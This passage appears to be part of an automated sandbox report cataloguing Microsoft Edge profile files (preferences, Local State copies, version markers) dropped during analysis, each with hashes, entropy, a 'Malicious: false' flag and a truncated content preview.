SSDEEP:	192:stLkdpslSnaFvrEmkbn388YbV+FiABUYPpYJ:stL+slSnCD8ibGiZ7
MD5:	29F476708A44DD653A419C32358454F9
SHA1:	3010DCD93ECE897374CA3D0FAB1E99E5A43ACB6A
SHA-256:	AFCE1A511F4CB8E121FA987EF76F8BD8AE8A3AAC8A850FB13972F6907D4CF5D3
SHA-512:	AA5A7FA3EB20FAE39F26FAF6FF0E0409D8543BC1439D9BFE9FDDCC77FD79F60A5E093D78F5B8EBDC3AACB78C4ABC3FC1990C16B5A0690D04DC80641E742A8DB1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f12faf5a-43ef-4923-9898-0f6023179f82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10741
Entropy (8bit):	5.215234191183902
Encrypted:	false
SSDEEP:	192:stlkdpslSnaFvrEH0Ikvn388kMbV+FE942A9QG3YPpYJ:stl+slSnCDe0jlbGi42s137
MD5:	2377A7CC21D1C9D85F77F9A27F950123
SHA1:	8F7F23F818A374AD9F2357A2D79D0DFDC280EE8C
SHA-256:	A226C3A0C40DA328933994CBEC81E65D054B68657B069981D543E0909EEE0116
SHA-512:	D7020D6711D0DD07AB1CB5257F83CB34DCDCE5D7E626DA173F57B54661B297B14705C52E14A37A2BE6C12D19BA336A6EC5AA29312A98FFE52AA7A59601EDB23F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f5fec3d3-9ecd-4c24-ba2d-4c08632dde1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9983
Entropy (8bit):	5.1247677817604025
Encrypted:	false
SSDEEP:	192:stlkdpslSnaFvrE9kcn388kMbV+FxjwA9lUYPpYJ:stl+slSnCDulbGNws+7
MD5:	664EDE361C4D9849813CC0781B032C90
SHA1:	5EAF3B2003A53769E2A4415456454BF721273465
SHA-256:	BD233AEA26C60ADC3F8D4D1173DC6D9A4205B409557223E477D40C6D7092B6C4
SHA-512:	99DB966A1A2620298933F36EB8B78D96EF45879277F9A88066C2EAE8C93262133E60A3A82DB6C695C486D34BF12425E9D3BECE78C62A1F09B2304EB4FB3303E0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44daf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44dbe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4502f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47684.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4921a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b89e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4fbe1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF56067.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF5a7a1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
